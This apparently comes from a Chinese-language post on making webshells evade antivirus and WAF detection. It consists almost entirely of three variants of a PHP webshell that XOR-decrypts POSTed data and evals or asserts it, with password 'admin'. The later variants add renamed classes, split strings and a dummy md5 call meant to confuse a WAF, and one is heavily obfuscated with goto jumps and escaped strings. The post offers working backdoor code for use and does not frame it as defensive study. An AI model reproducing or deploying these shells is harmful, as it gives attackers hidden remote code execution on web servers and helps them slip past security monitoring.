webshell免杀

\<?php@session\_start();@set\_time\_limit(0);@error\_reporting(0);functionencode($D,$K){for($i=0;$i\<strlen($D);$i++){$c=$K[$i+1&15];$D[$i]=$D[$i]^$c;}return$D;}$pass='admin';$payloadName='payload';$key='0192023a7bbd7325';if(isset($\_POST[$pass])){$data=encode(base64\_decode($\_POST[$pass]),$key);if(isset($\_SESSION[$payloadName])){$payload=encode($\_SESSION[$payloadName],$key);if(strpos($payload,"getBasicsInfo")===false){$payload=encode($payload,$key);}eval($payload);echosubstr(md5($pass.$key),0,16);echobase64\_encode(encode(@run($data),$key));echosubstr(md5($pass.$key),16);}else{if(strpos($data,"getBasicsInfo")!==false){$\_SESSION[$payloadName]=encode($data,$key);}}}

class aly{ public function yh($xc,$app) { for($a=0;$a\<strlen($xc);$a++) { $m = $app[$a+1&15]; $xc[$a] = $xc[$a]^$m; } $bc=md5($xc); //这个没有实际作用，混淆waf的，不知道有没有用 return $xc; }}

$app = new aly; $data=$app-\>yh();

\<?php@session\_start();@set\_time\_limit(0);@error\_reporting(0);classaly{publicfunctionyh($xc,$app){for($a=0;$a\<strlen($xc);$a++){$m=$app[$a+1&15];$xc[$a]=$xc[$a]^$m;}$bc=md5($xc);return$xc;}}$cmd='getBas'.'icsInfo';$pass='admin';$p='pay';$key=substr(md5('admin123'),0,16);$kk=$p.'load';if(isset($\_POST[$pass])){$app=newaly;$data=$app-\>yh(base64\_decode($\_POST[$pass]),substr(md5('admin123'),0,16));if(isset($\_SESSION[$kk])){$xx=$app-\>yh($\_SESSION[$kk],substr(md5('admin123'),0,16));$payl=$xx;if(strpos($payl,$cmd)===0){$payl=$app-\>yh($payl,substr(md5('admin123'),0,16));}$uu=$payl;classMOL{publicfunction\_\_construct($p){$qq=null;$dd=null;assert($qq./\*xxx\*/$p./\*ssss\*/$dd);}}@newMOL($uu);printsubstr(md5($pass.substr(md5('admin123'),0,16)),0,16);printbase64\_encode($app-\>yh(@run($data),substr(md5('admin123'),0,16)));printsubstr(md5($pass.substr(md5('admin123'),0,16)),16);}else{if(strpos($data,$cmd)!==0){$\_SESSION[$kk]=$app-\>yh($data,substr(md5('admin123'),0,16));}}}

\<?php/\* Encode by www.phpen.cn \*/gotoIUNnc;XwEH4:$app=newaly();gotonsf5Z;LL5W7:printsubstr(md5($pass.substr(md5("\x61\144\155\151\x6e\61\62\63"),0,16)),16);gotoCL6YJ;CjDEf:ROeQh:gotol\_69p;IUNnc:@session\_start();gotoMEYfv;FD8N5:$xx=$app-\>yh($\_SESSION[$kk],substr(md5("\x61\144\155\151\156\61\x32\x33"),0,16));gotod5hJ4;EwLvZ:$pass="\141\x64\x6d\151\x6e";gotorJEy5;kB2OV:$key=substr(md5("\x61\x64\155\151\x6e\61\62\x33"),0,16);gotoBSLFU;igfvs:if(!(strpos($payl,$cmd)===0)){gotoSSWNn;}gotog6wS1;BRtQN:printbase64\_encode($app-\>yh(@run($data),substr(md5("\x61\x64\155\151\156\x31\x32\63"),0,16)));gotoLL5W7;MEYfv:@set\_time\_limit(0);gotoy\_Rav;sLyCi:$uu=$payl;gotoMJ6yT;MJ6yT:classMOL{publicfunction\_\_construct($p){gotoL8KoL;kSIBh:assert($qq.$p.$dd);gotoWZIpx;jhNhW:$dd=null;gotokSIBh;L8KoL:$qq=null;gotojhNhW;WZIpx:}}gotoDbnEh;nsf5Z:$data=$app-\>yh(base64\_decode($\_POST[$pass]),substr(md5("\x61\x64\x6d\151\x6e\x31\62\x33"),0,16));gotoBwJ60;y\_Rav:@error\_reporting(0);gotobyV\_H;qB34k:printsubstr(md5($pass.substr(md5("\x61\x64\155\151\x6e\x31\62\63"),0,16)),0,16);gotoBRtQN;rJEy5:$p="\x70\x61\x79";gotokB2OV;byV\_H:classaly{publicfunctionyh($xc,$app){gotoimLf\_;Ble8D:TCvbj:gotoa8lqD;gNM7\_:return$xc;gototjogK;DWm5f:gotoTCvbj;gotos2flz;KBh8d:Lz8Jg:gotovMyr2;a8jp5:$m=$app[$a+1&15];gotoCDak2;rFPqD:$bc=md5($xc);gotogNM7\_;a8lqD:if(!($a\<strlen($xc))){gotoeBW6Z;}gotoa8jp5;CDak2:$xc[$a]=$xc[$a]^$m;gotoKBh8d;vMyr2:$a++;gotoDWm5f;imLf\_:$a=0;gotoBle8D;s2flz:eBW6Z:gotorFPqD;tjogK:}}gotoC6KW9;g6wS1:$payl=$app-\>yh($payl,substr(md5("\x61\144\155\x69\156\x31\x32\x33"),0,16));gotozWyVT;BSLFU:$kk=$p."\x6c\157\x61\144";gotomWTXt;DbnEh:@newMOL($uu);gotoqB34k;YwMwI:$\_SESSION[$kk]=$app-\>yh($data,substr(md5("\x61\x64\155\x69\x6e\x31\x32\63"),0,16));gotoCjDEf;Dh1Wx:rQdE\_:gotoFD8N5;zWyVT:SSWNn:gotosLyCi;d5hJ4:$payl=$xx;gotoigfvs;l\_69p:gotoF03Mj;gotoDh1Wx;rIcEU:if(!(strpos($data,$cmd)!==0)){gotoROeQh;}gotoYwMwI;CL6YJ:F03Mj:gotompw9H;C6KW9:$cmd="\x67\145\x74\102\141\x73"."\151\x63\x73\x49\x6e\x66\157";gotoEwLvZ;BwJ60:if(isset($\_SESSION[$kk])){gotorQdE\_;}gotorIcEU;mWTXt:if(!isset($\_POST[$pass])){gotoOQSh7;}gotoXwEH4;mpw9H:OQSh7: